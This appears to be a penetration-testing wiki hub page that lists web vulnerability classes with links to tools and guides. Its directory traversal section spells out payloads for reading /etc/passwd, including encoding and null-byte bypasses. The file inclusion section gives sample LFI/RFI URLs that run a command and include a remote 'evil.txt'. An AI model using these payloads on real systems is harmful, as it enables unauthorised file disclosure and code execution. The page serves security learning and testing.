Attacks and Vulnerabilities

This page is the hub for common web application vulnerability classes. Detailed pages are linked where they already exist; shorter entries stay inline until they grow enough to deserve their own page.

Broken Authentication

Broken Authentication

Broken Links

Broken Links

• broken-link-checker - Find broken links, missing images, etc within your HTML.

• https://ahrefs.com/broken-link-checker

• https://brokenlinkcheck.com

• https://edoverflow.com/2017/broken-link-hijacking/

• https://medium.com/@bathinivijaysimhareddy/how-i-takeover-the-companys-linkedin-page-790c9ed2b04d

• https://kathan19.gitbook.io/howtohunt/broken-link-hijacking/brokenlinkhijacking

Browser Attacks

Browser Attacks

• Beef - BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

  • https://www.kali.org/tools/beef-xss/

• Metasploit; Browser-AutoPwn

• https://systemweakness.com/give-me-a-browser-ill-give-you-a-shell-de19811defa0?gi=a6af0aee993e

• Advanced Penetration Testing: Browser Pivoting - pg. 23

Business logic flaws

Business Logic Flaws

Bypass Methodology

Bypass Methodology

• https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20403.md

• https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20304.md

• https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Captcha.md

• https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Rate%20Limit.md

• byp4xx - Python script for HTTP 40X response bypass testing. Features include verb tampering, header tricks, and user-agent rotation.

• 403bypasser - automates the techniques used to circumvent access control restrictions on target pages.

• bypass-403 - A simple script just made for self use for bypassing 403

Clickjacking

Clickjacking

Command Injection

Command Injection

CORS Attacks

CORS Misconfig

• Corsy - CORS Misconfiguration Scanner

• CORScanner - Fast CORS misconfiguration scanner.

• CORStest - A simple CORS misconfiguration scanner

• CorsMe - Cross Origin Resource Sharing MisConfiguration Scanner

• of-CORS - Truffle Security's tool suite for identifying and exploiting CORS misconfigurations on the internal networks of bug bounty targets using typosquatting.

• https://owasp.org/www-community/attacks/CORS_RequestPreflightScrutiny

• https://owasp.org/www-community/attacks/CORS_OriginHeaderScrutiny

• https://pentestbook.six2dez.com/enumeration/web/cors

• https://kathan19.gitbook.io/howtohunt/cors/cors

CORS Bypass

• https://kathan19.gitbook.io/howtohunt/cors/cors_bypasses

Cross Site Leaks

• https://xsleaks.dev/ - Huge resource around cross site leak vulnerabilities

CSRF - Cross Site Request Forgery

CSRF

Carriage Return and Line Feed (CRLF) Injection

CRLF Injection

• https://owasp.org/www-community/vulnerabilities/CRLF_Injection

• CRLF-Injection-Scanner - Command line tool for testing CRLF injection on a list of domains.

• crlfuzz A fast tool to scan CRLF vulnerability written in Go

• crlfmap - CRLFMap is a tool to find HTTP Splitting vulnerabilities

• https://pentestbook.six2dez.com/enumeration/web/crlf

Client Side Template Injection

Client Side Template Injection Scanner - ACSTIS helps you to scan certain web applications for AngularJS Client-Side Template Injection (sometimes referred to as CSTI, sandbox escape or sandbox bypass). It supports scanning a single request but also crawling the entire web application for the AngularJS CSTI vulnerability.

CSV Injection

• http://georgemauer.net/2017/10/07/csv-injection.html

Dependency Confusion

• https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Deserialization Attacks

Deserialization

Directory Traversal

Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files.

Basics

• Simple attack

  • Linux system - ../../../etc/passwd

  • Windows system ..\..\..\windows\win.ini

• Absolute path from filesystem without traversal sequences

  • filename=/etc/passwd

• Nested Traversal Sequences

  • ....// or ....\/ will revert when stripped

  • ....//....//....//etc/passwd

• Non standard encoding

  • You might be able to use various non-standard encodings, such as ..%c0%af or ..%252f, to bypass the input filter.

  • ..%252f..%252f..%252fetc/passwd

• Valid start of path/base folder

  • filename=/var/www/images/../../../etc/passwd

• File extension null byte bypass

  • If an application requires that the user-supplied filename must end with an expected file extension, such as .png, then it might be possible to use a null byte to effectively terminate the file path before the required extension.

  • filename=../../../etc/passwd%00.png

• dotdotpwn - DotDotPwn is a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers, Web platforms such as CMSs, ERPs, Blogs, etc.

Resources

• https://immersivelabs.online/labs/web-applications-directory-traversal/

• https://www.acunetix.com/websitesecurity/directory-traversal/

• https://owasp.org/www-community/attacks/Path_Traversal

• Comprehensive Guide on Path Traversal

File Inclusion Vulnerabilities

File inclusion vulnerabilities allow an attacker to include a file into the application's running code. In order to actually exploit a file inclusion vulnerability, we must be able to not only execute code, but also to write our shell payload somewhere.

Identification

• Discovered the same way as directory transversals

• Locate parameters you can manipulate and attempt to use them to load arbitrary files

• We take it one step further and attempt to execute the contents of the file within the application

• Local file inclusions (LFI) occur when the included file is loaded from the same web server.

  • http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig

• Remote file inclusions (RFI) occur when a file is loaded from an external source.

  • Try changing the local path parameter to a URL.

  • http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt

Tools

• LFISuite - LFI Suite is a totally automatic tool able to scan and exploit Local File Inclusion vulnerabilities using many different methods of attack

• Liffy - Local File Inclusion Exploitation tool.

• Kadimus - Kadimus is a tool to check for and exploit LFI vulnerabilities, with a focus on PHP systems.

• fimap - Fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.

Reference

• LFI CheatSheet

• File Inclusion Vulnerability Guide

• https://xapax.github.io/security/#attacking_web_applications/local_file_inclusion/

• https://xapax.github.io/security/#attacking_web_applications/remote_file_inclusion/

• https://pentestbook.six2dez.com/enumeration/web/lfi-rfi

• Comprehensive Guide on Local File Inclusion (LFI)

• Comprehensive Guide to Remote File Inclusion (RFI)

• TryHackMe LFI Basics - Training resource; canonical training links are maintained in Training.

File Upload

File Upload

• fuxploider - File upload vulnerability scanner and exploitation tool.

• https://xapax.github.io/security/#attacking_web_applications/bypass_image_upload/

• https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

• https://pentestbook.six2dez.com/enumeration/web/upload-bypasses

• https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20File%20Upload.md

• Comprehensive Guide on Unrestricted File Upload

• https://medium.com/@raymond-lind/ssrf-lfi-in-uploads-feature-321d83b93ec0

HTML Injection

• Comprehensive Guide on HTML Injection

HTTP Host Header Attacks

HTTP Host Header Attacks

HTTP Request Smuggling

HTTP Request Smuggling

Input Fuzzing

Input Fuzzing

• Wfuzz - Powerful Web application content fuzzer.

• FuzzDb - FuzzDB was created to increase the likelihood of finding application security vulnerabilities through dynamic application security testing.

• ffuf - A super fast web fuzzer written in Go.

  • https://www.hackingarticles.in/comprehensive-guide-on-ffuf/

  • https://tryhackme.com/room/ffuf

• QsFuzz - Qsfuzz (Query String Fuzz) allows you to build your own rules to fuzz query strings and easily identify vulnerabilities.

• AFLplusplus - The fuzzer afl++ is afl with community patches, qemu 5.1 upgrade, collision-free coverage, enhanced laf-intel & redqueen, AFLfast++ power schedules, MOpt mutators, unicorn_mode, and a lot more!

Insecure Direct Object Reference

Insecure Direct Object Reference

LDAP Injection

LDAP Injection

• https://owasp.org/www-community/attacks/LDAP_Injection

• https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html

• https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html#ldap-injection

• https://www.ldapexplorer.com/en/manual/109010000-ldap-filter-syntax.htm

Open Redirect Vulnerabilities

Open Redirect Vulnerabilities

• OpenRedireX - A Fuzzer for OpenRedirect issues

• Oralyzer - Open Redirection Analyzer

• https://pentestbook.six2dez.com/enumeration/web/open-redirects

• https://github.com/daffainfo/AllAboutBugBounty/blob/master/Open%20Redirect.md

• Comprehensive Guide on Open Redirect

• Open Redirect Vulnerabilities - Bug Bounty Hunting Essentials, pg.141

Prototype Pollution

• ppfuzz - A fast tool to scan client-side prototype pollution vulnerability written in Rust.

Security Misconfigurations

Security misconfigurations include:\

• Poorly configured permissions on cloud services, like S3 buckets.

• Unnecessary features enabled, like services, pages, accounts, or privileges.

• Default accounts with unchanged passwords.

• Error messages that are overly detailed and expose system information.

• Missing HTTP security headers or overly detailed Server headers.

Sidejacking

• hamster-sidejack - Legacy sidejacking tool. Kept as historical context; modern session protections and HTTPS make the original workflow much less broadly applicable.

SQL Injection

SQL Injection

SSRF: Server Side Request Forgery

SSRF

• SSRF Bible - Ultimate Guide to SSRF vulnerabilities and attacks

• SSRF-Testing - SSRF (Server Side Request Forgery) testing resources

• Ground Control - This is a collection of scripts used to debug Server Side Request Forgery (SSRF), blind XSS, and insecure XXE processing vulnerabilities.

• SSRFire - An automated SSRF finder. Just give the domain name and your server and chill! ;) Also has options to find XSS and open redirects

• Gopherus - This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

• https://tools.intigriti.io/redirector/ - SSRF payload redirect generator

• https://pentestbook.six2dez.com/enumeration/web/ssrf

• PayloadsAllTheThings/ServerSideRequestForgery

• https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

SSTI: Server Side Template Injection

SSTI

• TPLmap - Server-Side Template Injection and Code Injection Detection and Exploitation Tool

• https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

• https://akenofu.gitbook.io/hackallthethings/web-applications/attacks/ssti

• https://portswigger.net/web-security/server-side-template-injection

• https://github.com/ambionics/symfony-exploits

• https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34

• TryHackMe SSTI - Training resource; canonical training links are maintained in Training.

• Template Injection - Bug Bounty Hunting Essentials, pg.189

<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>

X-Path Injection

• https://owasp.org/www-community/attacks/XPATH_Injection

• https://owasp.org/www-community/attacks/Blind_XPath_Injection

Web Cache Poisoning

Web Cache Poisoning

Web Man-In-The-Middle

• Evilginx2 - Standalone web phishing/MITM framework used to capture credentials and session cookies. This belongs primarily with social engineering and MITM workflows, not routine web-app testing.

• MITM Proxy - Mitmproxy is your swiss-army knife for debugging, testing, privacy measurements, and penetration testing. It can be used to intercept, inspect, modify and replay web traffic such as HTTP/1, HTTP/2, WebSockets, or any other SSL/TLS-protected protocols.

Web Sockets

Web Sockets

XXE - XML External Entity Attacks

XXE - XML External Entity Attacks

XSS - Cross Site Scripting

XSS - Cross Site Scripting